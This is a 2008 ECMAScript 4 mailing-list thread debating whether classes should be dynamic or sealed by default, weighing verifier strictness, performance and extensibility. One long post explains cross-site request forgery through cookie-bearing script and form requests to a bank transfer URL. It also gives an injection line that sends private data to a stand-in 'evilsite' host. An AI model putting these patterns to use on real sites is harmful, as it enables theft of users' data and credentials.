Dynamic class default (was Re: Class method addition...)
On Apr 6, 2008, at 8:10 PM, Kris Zyp wrote:
Since you grant use-cases for sealing objects against mutation, are you simply arguing about what the default should be (that 'dynamic class' should not be required to get an extensible-instance factory, that 'class' should do that)?
Well if it is up for debate... Can we have classes be dynamic by
default, and non-dynamic if the class is declared to be "final"?
'final' already means "can't be overridden" for methods and "can't be
extended by subclassing" for classes in several languages. Adding
another meaning, even if it's of the same "mood", seems like a bad
idea to me.
What's the point of your request? If you mean to promote "AOP" (a
sacred cow, per my last message to you, reply-less :-P), you risk
degrading overall integrity, or merely imposing a syntax tax as most
class users have to say "inextensible class" (kidding, but it would
have some contextual keyword in front -- and not "static").
The default should match the common case as decided by programmers
using classes because they want greater integrity than they get with
closures. Even if a class's instances are extensible, it doesn't mean
the fixed properties (fixtures) can be AOP'ed. It just means certain
objects can be dressed up to resemble others, by some "like" relation
-- for good or ill.
'final' already means "can't be overridden" for methods and "can't be extended by subclassing" for classes in several languages. Adding another meaning, even if it's of the same "mood", seems like a bad idea to me.
What's the point of your request? If you mean to promote "AOP"
I don't know what the connection would be.
(a sacred cow, per my last message to you, reply-less :-P)
I ran out of arguments :).
, you risk degrading overall integrity, or merely imposing a syntax tax as most class users have to say "inextensible class" (kidding, but it would have some contextual keyword in front -- and not "static").
Just a idea for budget cuts, it's rejection doesn't bother me, not an important issue to me. Kris
Leaving AOP aside for the moment, ES4 has taken the following defaults from ActionScript:
-
a class Cls is open (can have arbitrary subclasses) by default; this is overridden by annotating Cls as "final".
-
a method M is virtual (can be overridden) by default; this is overridden by annotating M as "final".
-
an instance of class Cls is sealed (cannot have dynamic properties) by default; this is overridden by annotating Cls as "dynamic".
-
a method or property of class Cls is in the package-internal namespace by default; this is overridden by annotating each method or property with an explicit namespace or by changing the default namespace with "use default namespace".
The alternative would be to have to annotate the class as "open" if is not final; to annotate the method as "virtual" or "overridable" if it is overridable; to annotate the class as "sealed" if it cannot have dynamic properties; and to have the methods and properties be public by default.
The AS defaults are probably correct for typical AS code in the context of FlashPlayer or especially the Flex framework.
But there is a mixture of constrained and unconstrained defaults in our current choices, and I think it's useful to question whether all the defaults are correct for ES4. Waldemar has suggested that properties and methods should be public by default; Kris is suggesting that classes should not be dynamic by default (Alex Russell made the same point some time ago).
Making classes dynamic by default is likely to make the verifier -- what we previously called "strict mode" -- less effective, because a reference o.x cannot be flagged as an error unless o is known to be an instance of a sealed class that doesn't have an 'x'; if classes are sealed by default then more errors will likely be caught early.
(The verifier is not currently a part of ES4, and the spec will not wait for it to be finished, but it is valuable in some domains and having something normative in ES4 would be a plus. If the verifier becomes a reality then Kris and Alex should expect that people who choose to move to class-based development will seal their classes to make the verifier more effective, so the net effect of making classes dynamic by default may be smallish. Who can say?)
Anyhow, I'll be writing the spec for classes and interfaces this week, so now is a good time to think about and discuss these things.
--lars
-----Original Message----- From: es4-discuss-bounces at mozilla.org [mailto:es4-discuss-bounces at mozilla.org] On Behalf Of Kris Zyp Sent: 7. april 2008 08:53 To: Brendan Eich Cc: es4-discuss Discuss Subject: Re: Dynamic class default (was Re: Class method addition...)
'final' already means "can't be overridden" for methods and "can't
be
-----Original Message----- From: es4-discuss-bounces at mozilla.org [mailto:es4-discuss-bounces at mozilla.org] On Behalf Of Lars Hansen Sent: 7. april 2008 10:25
... Kris is suggesting that classes should not be dynamic by default ...
Of course what Kris is suggesting that classes should be dynamic by default. The 'not' is misplaced, just ignore it.
Making classes dynamic by default is likely to make the verifier -- what we previously called "strict mode" -- less effective, because a reference o.x cannot be flagged as an error unless o is known to be an instance of a sealed class that doesn't have an 'x'; if classes are sealed by default then more errors will likely be caught early.
Dynamic classes also incur nontrivial overhead in memory use and runtime performance. IMHO we'd want a fairly compelling argument for making all classes dynamic by default.
On Apr 7, 2008, at 10:37 AM, Steven Johnson wrote:
Dynamic classes also incur nontrivial overhead in memory use and
runtime performance. IMHO we'd want a fairly compelling argument for making
all classes dynamic by default.
It would probably put an end to the acrimony about ES4 being too
different from ES3; I'm hesitant to speak for the views of others, but
I suspect this change would make the language a lot more palatable for
many currently opposed to it. In that light, "compelling" is going to
be a highly subjective measurement.
It would probably put an end to the acrimony about ES4 being too different from ES3; I'm hesitant to speak for the views of others, but I suspect this change would make the language a lot more palatable for many currently opposed to it. In that light, "compelling" is going to be a highly subjective measurement.
Since ES3 doesn't have true "classes" at all I'm not sure I entirely agree, but I get your point in terms of the feel of the language.
Granted, putting an end to acrimony is a Good Thing and not to be ignored, but somehow I don't see any magic bullet that possibly achieve that on its own :-)
Let me put it another way: aside from changing the perceived "feel" of the language, what specific use cases would be made better, faster, more secure, more extensible, more reliable, etc. by such a change?
I don't know if other languages have both dynamic and sealed classes at once, but I have come across occasions in ActionScript where it can cause a problem. The mutability of a dynamic class is seen as part of its interface, and subclasses that are not dynamic will break code that depends on it.
dynamic class A { }
class B extends A { }
var a:A;
a["some key"] = 1; // will throw an error if a is B
In AS3, "dynamic" is not inherited, but even if it was inherited there would be a corresponding "sealed" keyword to prevent having to make a special case of Object being dynamic but subclasses not, so there would always be the possibility of this situation.
I feel there is a need for a way to declare that a variable must be of a dynamic type. The best syntax I could envisage would be for "dynamic" to indicate a dynamic pseudo-type, when it is used in a type expression. But it would be quite crippled without having intersection types too.
One to come back to for ES5?
Peter
On 4/7/08 11:13 AM, Peter Hall wrote:
I feel there is a need for a way to declare that a variable must be of a dynamic type. The best syntax I could envisage would be for "dynamic" to indicate a dynamic pseudo-type, when it is used in a type expression. But it would be quite crippled without having intersection types too.
We considered this when designing AS3, but passed on it as being one too many uses of 'dynamic'. We felt that using the dynamic-ness of the class of the type annotation gives the user sufficient control in most cases. And anyway, without a static verifier ES4 won't be affected by this particular design trade-off.
On Mon, Apr 7, 2008 at 10:45 AM, Neil Mix <nmix at pandora.com> wrote:
On Apr 7, 2008, at 10:37 AM, Steven Johnson wrote:
Dynamic classes also incur nontrivial overhead in memory use and runtime performance. IMHO we'd want a fairly compelling argument for making all classes dynamic by default.
It would probably put an end to the acrimony about ES4 being too different from ES3; I'm hesitant to speak for the views of others, but I suspect this change would make the language a lot more palatable for many currently opposed to it. In that light, "compelling" is going to be a highly subjective measurement.
Speaking as one of the more vocal skeptics, this change would make ES4 less palatable for me.
ES3.1 and ES4 are together moving in a good direction by making the degree of permissiveness controllable on a per-property and per-object basis. Subjectively, as someone interested in robustness, integrity, and security, ES3 made a huge mistake in having all these be as permissive as possible. Both ES3.1 and ES4, in order to be reasonably compatible with ES3+R, must continue to have the ES3 constructs default to overly permissive. For ES3.1 the best we can do is provide explicit operations (such as defineProperty) for overriding these defaults. To my mind, the main virtue of introducing a class syntax to an ES is an opportunity to get these defaults right this time.
One principle of security engineering is "deny by default is better than allow by default"; which is closely related to "whitelisting is better than blacklisting". For ES3.1, we're stuck with allow-by-default. If the ES4 class syntax were to get this wrong as well, I'd be even more puzzled about what its purpose is.
Accordingly, my preference is for classes to default to non-dynamic and non-subclassable. For methods to default to non-overridable and non-enumerable. And for properties/members to default to non-settable and non-enumerable. Whatever these defaults are, it's an orthogonal question whether classes need to be a primitive construct, or whether they should be just sugar for a less-permissive-by-default usage of the class-like abstraction pattern of ES3.1.
"Whitelisting is better than blacklisting" is not something you want applied to web pages and books, shops and products, and dare I say it, tourists and immigrants. Security maxims are useful to keep in mind, but aren't always appropriate.
Security is fundamentally about preventing people from doing things. Of course, the aim is to prevent people from doing bad things, but there are two problems: 1) regardless of intentions, you invariably stop people from doing good things as well (deadlocked doors stop thieves, but also emergency workers); and 2) people have differing ideas on what's good and bad. Hence, compromise is essential.
Javascript inhabits a strange world. Perhaps more than any other programming language, it is constantly used to mediate between strangers, so security would seem a vital concern. But it isn't. More on that in a moment.
Typically, Javascript developers need to deal with 3 layers of code: the browser (or viewer), 3rd party libraries and the developer's own code (often split between libraries and immediate code). The last is the simplest case for changes: when developers find things that need changing in their own code, they can simply edit, rewrite or refactor.
When developers find things that need changing in 3rd party libraries, they usually have two choices: they can edit the library (since the source is commonly available) or they can 'cascade' their own modifications, in the way style sheets can be cascaded. The second choice is usually best: there is a clean separation between the developers' code and the 3rd party library. Upgraded versions of the library can be incorporated with less fuss, because your extensions file behaves like a cvs patch file.
Without prototypes (and overrides of classes and class members), the only way to achieve 'cascading scripts' is to write your own classes and functions that serve as proxies for the underlying classes and functions in the 3rd party library. This is invariably unwieldy because you constantly have to convert between your own class and the library class, even though they are entirely the same class from your own perspective.
Then there is the browser. Developers have just one choice here: they can change the 'in-built library' through prototypes/overrides, or not at all. Not a big deal --- unless you're dealing with a browser vendor that has fallen asleep for 5 years, or you're dealing with browser developers who refuse to add your pet requests. Or, indeed, if you simply need to temporarily enhance or alter the default behaviour for whatever reasons.
And there are plenty of reasons for developers to change browsers' in-built libraries. Often this is due to shortcomings in the browser. 'document.getElementsByClassName' from the Prototype library is an illuminating example that has recently been brought to light due to standardisation ( ejohn.org/blog/getelementsbyclassname-pre-prototype-16 ). John (and many commenters there) take a pessimistic view of the grass-roots implementation of this method, but I consider this case an excellent example of just how valuable unfettered extensibility can be.
Other times, the desire to 'extend the browser' is just a consequence of pragmatic needs. For example, I'm currently writing a Firefox extension that saves pages in a single html file (using data: urls). One of the problems I noticed was that when I saved a document to disk and then opened it, some elements appeared double. The reason was simple enough: these pages were using document.write to generate parts of the page. Since I was saving the generated page, the document.writes would run a second time. Due to the extensibility of Javascript, the solution was equally simple: set document.write to a null function during page load.
I could give example after example, but I'll leave it there (although I do want to mention the possibility for grass-roots prototyping, and possibly implementation, of new markup languages). My point is not merely to show that extensibility is useful, but that unfettered extensibility is even more useful. (Lars asked the question.) Browser developers and library writers are neither omniscient nor seers. Innovation grows in unlikely places and evolution, despite what some people may want, is not directed by intelligent design.
Even if you agree with me that unfettered extensibility can be useful, I would still have to show that it is no great threat to security. I'll repeat (and develop) what I've already said on Brendan's blog: security is the concern of the environment (browser, OS, etc.) not the language. Thankfully, security is also a fairly simple issue for browsers to handle. The take home message? Don't send cookies (data) between untrusted domains. Right now, browsers do this very wrong and put their users at risk.
For any website, there are 3 relevant parties involved. The server, the user and the (potentially uninformed) 3rd party content providers (here just called the 'provider'). The browser's job is to protect all three. Trust relations can exist between any pair that need to be hidden from the 3rd member. The two cases of interest are those that involve the user. That is, 1) when the user and provider have a trust relation that must be hidden from the server; and 2) when the user and server have a trust relation that must be hidden from the provider.
Let's take the first case. Today, it is possible to stage a cross-domain attack if a provider's javascript is not written with security in mind. <script src="provider/scriptwithcookie_performaction.js"></script> is
all that's needed. The problem is obvious: private data between the user and the provider (the cookie) is being abused by the server. The server can't read the cookie, but they can use it. Let's stop that being possible.
To show this is a browser problem, and not a javascript problem, the same problem applies to plain old html forms posted across domains. Anyone can, today, write a html page that will post to another domain with cookies intact. In other words, a server can trick a user into posting whatever data the server wants to yourbank.com.au/transfer_money.php using all the user's current cookie credentials with that site. (Thankfully, banks tend to employ enough security to prevent this from being a problem.)
The solution is simple: do not let server's abuse the user's data. Ever! <script src>, <img src>, <iframe src>, <link href>, etc. should never send a user's data across domains. We were smart enough to stop it with XMLHttpRequest, we should stop it with everything else too.
The second case involves trust relations between the user and server that must be hidden from a 3rd party content provider. Invariably, this involves injection attacks. If the provider can somehow put a script that says window.location.href = 'evilsite'+privatedata (or something similar), then the provider has breached the trust relation.
You'll notice, however, that absolutely nothing in ES4 can prevent this from happening. If the provider is able to inject an un-sandboxed script, it really doesn't matter if any objects are declared with JSON or not, because they have raw access to the page data. As an example, I use Google maps on some of my sites. To do so, I have to include the following in my pages <script src="maps.google.com/maps?file=api&v=2&key=..."></script>.
If Google turns evil or some key employee turns evil or (more likely) the dns system is poisoned, whoever is sitting behind maps.google.com has access to a great dollop of sensitive data about my users.
The solution in this case is simple to name, but less simple to do: sandboxing. Scripts (or whatever else) from foreign domains should have no access to the including page by default. There are other possible injections, of course. Often, 3rd party content is inserted directly into the page as raw markup. I've already argued in this bug ( bugzilla.mozilla.org/show_bug.cgi?id=178993 ) that HttpOnly cookies don't cut it. Random boundary sandboxing would cover pretty much every possible case.
I hope I've made the case that, while I'm very concerned about security, there are, in fact, no security issues to be considered when designing the next generation of Javascript (or any language, for that matter). There is one last point I should deal with, though, that Brendan keeps raising: defence-in-depth. At this point I'd like to raise the recent case of XMLHttpRequest. A defence-in-depth approach would imply that XMLHttpRequest should never become cross-domain. After all, this would provide an extra layer of protection, wouldn't it? There is nothing that you can't do with cross-domain XMLHttpRequest that can't be done on the server side. And yet, the standards authors are busy writing up their specifications and the browser vendors are busy deciding how best to implement them. Why should Javascript be treated any differently?
Epilogue :)
There is one area where I'll quite happily agree that fixed types, sealed classes, consts and all the other immutable devils transform into angels: performance. I consider this to be important enough to have immutable things in ES4, but I do not want it to be the default, and I do not want it to be too convenient. Design first, tweak later is the accepted motto, right?
As for programming in the large, I'm fairly certain that extensibility doesn't harm it and may even help it (if AOP is of any use). To be honest, I'm not even sure what the term means beyond maintainability and extensibility. If that's all it is, I can fairly say I've never encountered a Javascript program that couldn't be easily maintained (even the obfuscated ones...), but that could be due to the excellent tools available --- tools, incidentally, that aren't stonewalled by information hiding.
I apologise for the length, but this topic is too detailed and important to be done justice in a few words. (And sadly, I still don't think I've done it any justice . . .)
I'm late to the party here, but agree 100% with Steven's point that a
language cannot create security.
In Dylan, we called the need to declare to get dynamic-ness "pay as
you go". The programmer is made aware, by requiring a non-default
declaration, that the feature asked for costs more.
If you're counting votes, I vote for not dynamic by default. But my
reason is performance, not security.
On 2008-04-07, at 12:25 EDT, Lars Hansen wrote:
But there is a mixture of constrained and unconstrained defaults in our current choices
FWIW, Dylan used only sealed/open for classes and methods and had the
interesting default that classes and methods were open within a module
(the equivalent of a package, if we still have them) but sealed
outside the module unless explicitly declared otherwise. To put it in
implementation terms, you don't burden the programmer with annotating
code that the compiler can clearly analyze to determine intent, but
you also let the complier make optimizations that would be painful or
impossible to make in a linker.
Well if it is up for debate... Can we have classes be dynamic by default, and non-dynamic if the class is declared to be "final"? I realize that non-dynamic and final are not identical concepts, but they are similar. Keywords surely count towards the complexity budget, this would save us a buck.
Kris